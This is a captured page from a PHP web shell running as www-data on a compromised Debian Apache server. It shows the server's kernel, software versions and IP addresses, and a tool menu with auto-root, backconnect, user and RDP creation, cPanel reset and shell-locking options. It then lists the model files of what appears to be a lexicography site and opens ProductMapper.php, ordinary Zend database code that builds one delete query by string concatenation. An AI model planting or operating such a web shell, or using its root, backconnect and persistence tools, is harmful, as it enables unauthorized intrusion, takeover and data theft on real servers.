Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.128.94.112
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
leksykografia /
application /
models /
[ HOME SHELL ]
Name
Size
Permission
Action
DbTable
[ DIR ]
drwxr-xr-x
Dictionary.php
8.75
KB
-rw-r--r--
DictionaryBackground.php
2.74
KB
-rw-r--r--
DictionaryBackgroundMapper.php
2.87
KB
-rw-r--r--
DictionaryMapper.php
7.44
KB
-rw-r--r--
DictionaryType.php
1.85
KB
-rw-r--r--
DictionaryTypeMapper.php
1.81
KB
-rw-r--r--
DictionaryVocabularyRange.php
1.99
KB
-rw-r--r--
DictionaryVocabularyRangeDict....
1.87
KB
-rw-r--r--
DictionaryVocabularyRangeDictM...
2.12
KB
-rw-r--r--
DictionaryVocabularyRangeMappe...
2.24
KB
-rw-r--r--
Gallery.php
1.67
KB
-rw-r--r--
GalleryMapper.php
1.17
KB
-rw-r--r--
GalleryPhoto.php
1.68
KB
-rw-r--r--
GalleryPhotoMapper.php
1.14
KB
-rw-r--r--
Partner.php
2.27
KB
-rw-r--r--
PartnerMapper.php
2.24
KB
-rw-r--r--
PartnerType.php
1.56
KB
-rw-r--r--
PartnerTypeMapper.php
1.16
KB
-rw-r--r--
Product.php
6.21
KB
-rw-r--r--
ProductCategories.php
1.76
KB
-rw-r--r--
ProductCategoriesMapper.php
2.38
KB
-rw-r--r--
ProductCategory.php
1.57
KB
-rw-r--r--
ProductCategoryMapper.php
1.59
KB
-rw-r--r--
ProductMapper.php
8.2
KB
-rw-r--r--
ProductPartner.php
2.46
KB
-rw-r--r--
ProductPartnerMapper.php
2.51
KB
-rw-r--r--
ProductPartners.php
1.96
KB
-rw-r--r--
ProductPartnersMapper.php
2.57
KB
-rw-r--r--
ProductRegister.php
5.11
KB
-rw-r--r--
ProductRegisterMapper.php
8.65
KB
-rw-r--r--
ProductRegisterUser.php
3.19
KB
-rw-r--r--
ProductRegisterUserMapper.php
6.79
KB
-rw-r--r--
ProductRegisterUserSession.php
1.97
KB
-rw-r--r--
ProductRegisterUserSessionMapp...
6.13
KB
-rw-r--r--
ProductSpeaker.php
3.11
KB
-rw-r--r--
ProductSpeakerMapper.php
3.51
KB
-rw-r--r--
ProductType.php
2.25
KB
-rw-r--r--
ProductTypeMapper.php
1.81
KB
-rw-r--r--
Static.php
1.92
KB
-rw-r--r--
StaticMapper.php
1.78
KB
-rw-r--r--
Vote.php
2.88
KB
-rw-r--r--
VoteMapper.php
2.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProductMapper.php
<?php class Application_Model_ProductMapper { protected $_dbTable; public function setDbTable($dbTable) { if (is_string($dbTable)) { $dbTable = new $dbTable(); } if (!$dbTable instanceof Zend_Db_Table_Abstract) { throw new Exception('Invalid table data gateway provided'); } $this->_dbTable = $dbTable; return $this; } public function getDbTable() { if (null === $this->_dbTable) { $this->setDbTable('Application_Model_DbTable_Product'); } return $this->_dbTable; } public function save(Application_Model_Product $product) { $data = array( 'product_type' => $product->getProductType(), 'slug' => $product->getSlug(), 'title1' => $product->getTitle1(), 'title2' => $product->getTitle2(), 'title3' => $product->getTitle3(), 'title4' => $product->getTitle4(), 'logo' => $product->getLogo(), 'city' => $product->getCity(), 'term_from' => $product->getTermFrom(), 'term_to' => $product->getTermTo(), 'title_small1' => $product->getTitleSmall1(), 'title_small2' => $product->getTitleSmall2(), 'pdf' => $product->getPdf(), 'program' => $product->getProgram(), 'place' => $product->getPlace(), 'price1' => $product->getPrice1(), 'price2' => $product->getPrice2(), 'price_to' => $product->getPriceTo(), 'active' => $product->getActive(), 'created' => date('Y-m-d H:i:s') ); if (null === ($id = $product->getId())) { unset($data['id']); return $this->getDbTable()->insert($data); } else { return $this->getDbTable()->update($data, array('id = ?' => $id)); } } public function delete($productId) { return $this->getDbTable()->delete('id = '.$productId); } public function find($id, Application_Model_Product $product) { $result = $this->getDbTable()->find($id); if (0 == count($result)) { return false; } $row = $result->current(); $product->setId($row->id) ->setProductType($row->product_type) ->setSlug($row->slug) ->setTitle1($row->title1) ->setTitle2($row->title2) ->setTitle3($row->title3) ->setTitle4($row->title4) ->setLogo($row->logo) ->setCity($row->city) ->setTermFrom($row->term_from) ->setTermTo($row->term_to) ->setTitleSmall1($row->title_small1) ->setTitleSmall2($row->title_small2) ->setPdf($row->pdf) ->setProgram($row->program) ->setPlace($row->place) ->setPrice1($row->price1) ->setPrice2($row->price2) ->setPriceTo($row->price_to) ->setActive($row->active) ->setCreated($row->created) ->setTemplate($row->template); return true; } public function fetchAll() { $select = $this->getDbTable()->select() ->order('term_from asc'); $resultSet = $this->getDbTable()->fetchAll($select); $entries = array(); foreach ($resultSet as $row) { $entry = new Application_Model_Product(); $entry->setId($row->id) ->setProductType($row->product_type) ->setSlug($row->slug) ->setTitle1($row->title1) ->setTitle2($row->title2) ->setTitle3($row->title3) ->setTitle4($row->title4) ->setLogo($row->logo) ->setCity($row->city) ->setTermFrom($row->term_from) ->setTermTo($row->term_to) ->setTitleSmall1($row->title_small1) ->setTitleSmall2($row->title_small2) ->setPdf($row->pdf) ->setProgram($row->program) ->setPlace($row->place) ->setPrice1($row->price1) ->setPrice2($row->price2) ->setPriceTo($row->price_to) ->setActive($row->active) ->setCreated($row->created) ->setTemplate($row->template); $entries[] = $entry; } return $entries; } public function fetchAllActiveForIndex($categoryId=false) { $select = $this->getDbTable()->select() ->where('active = ?', 'Y') ->where('product_type IN (1,2,3)') ->where('term_from < ?', date("Y-m-d")) ->order('term_from asc'); if($categoryId) $select->from(array('p' => 'product',array('*'))) ->setIntegrityCheck(false) ->join(array('pc' => 'product_categories'), 'p.id = pc.product_id',null) ->where("pc.product_category_id = ?", $categoryId); $resultSet = $this->getDbTable()->fetchAll($select); $entries1 = array(); foreach ($resultSet as $row) { $entry = new Application_Model_Product(); $entry->setId($row->id) ->setProductType($row->product_type) ->setSlug($row->slug) ->setTitle1($row->title1) ->setTitle2($row->title2) ->setTitle3($row->title3) ->setTitle4($row->title4) ->setLogo($row->logo) ->setCity($row->city) ->setTermFrom($row->term_from) ->setTermTo($row->term_to) ->setTitleSmall1($row->title_small1) ->setTitleSmall2($row->title_small2) ->setPdf($row->pdf) ->setProgram($row->program) ->setPlace($row->place) ->setPrice1($row->price1) ->setPrice2($row->price2) ->setPriceTo($row->price_to) ->setActive($row->active) ->setCreated($row->created) ->setTemplate($row->template); $entries1[] = $entry; } $select = $this->getDbTable()->select() ->where('active = ?', 'Y') ->where('product_type IN (1,2,3)') ->where('term_from >= ?', date("Y-m-d")) ->order('term_from asc'); if($categoryId) $select->from(array('p' => 'product',array('*'))) ->setIntegrityCheck(false) ->join(array('pc' => 'product_categories'), 'p.id = pc.product_id',null) ->where("pc.product_category_id = ?", $categoryId); $resultSet = $this->getDbTable()->fetchAll($select); $entries2 = array(); foreach ($resultSet as $row) { $entry = new Application_Model_Product(); $entry->setId($row->id) ->setProductType($row->product_type) ->setSlug($row->slug) ->setTitle1($row->title1) ->setTitle2($row->title2) ->setTitle3($row->title3) ->setTitle4($row->title4) ->setLogo($row->logo) ->setCity($row->city) ->setTermFrom($row->term_from) ->setTermTo($row->term_to) ->setTitleSmall1($row->title_small1) ->setTitleSmall2($row->title_small2) ->setPdf($row->pdf) ->setProgram($row->program) ->setPlace($row->place) ->setPrice1($row->price1) ->setPrice2($row->price2) ->setPriceTo($row->price_to) ->setActive($row->active) ->setCreated($row->created) ->setTemplate($row->template); $entries2[] = $entry; } return array($entries1,$entries2); } public function fetchAllByType($type) { $select = $this->getDbTable()->select() ->where("product_type = ?", $type) ->order('term_from asc'); $resultSet = $this->getDbTable()->fetchAll($select); $entries = array(); foreach ($resultSet as $row) { $entry = new Application_Model_Product(); $entry->setId($row->id) ->setProductType($row->product_type) ->setSlug($row->slug) ->setTitle1($row->title1) ->setTitle2($row->title2) ->setTitle3($row->title3) ->setTitle4($row->title4) ->setLogo($row->logo) ->setCity($row->city) ->setTermFrom($row->term_from) ->setTermTo($row->term_to) ->setTitleSmall1($row->title_small1) ->setTitleSmall2($row->title_small2) ->setPdf($row->pdf) ->setProgram($row->program) ->setPlace($row->place) ->setPrice1($row->price1) ->setPrice2($row->price2) ->setPriceTo($row->price_to) ->setActive($row->active) ->setCreated($row->created) ->setTemplate($row->template); $entries[] = $entry; } return $entries; } public function fetchAllActiveByType($type, $order=false) { $select = $this->getDbTable()->select() ->where("product_type = ?", $type) ->where("active = 'Y'"); if(!$order) $select->order('term_from asc'); elseif($order) $select->order($order); $resultSet = $this->getDbTable()->fetchAll($select); $entries = array(); foreach ($resultSet as $row) { $entry = new Application_Model_Product(); $entry->setId($row->id) ->setProductType($row->product_type) ->setSlug($row->slug) ->setTitle1($row->title1) ->setTitle2($row->title2) ->setTitle3($row->title3) ->setTitle4($row->title4) ->setLogo($row->logo) ->setCity($row->city) ->setTermFrom($row->term_from) ->setTermTo($row->term_to) ->setTitleSmall1($row->title_small1) ->setTitleSmall2($row->title_small2) ->setPdf($row->pdf) ->setProgram($row->program) ->setPlace($row->place) ->setPrice1($row->price1) ->setPrice2($row->price2) ->setPriceTo($row->price_to) ->setActive($row->active) ->setCreated($row->created) ->setTemplate($row->template); $entries[] = $entry; } return $entries; } }
Close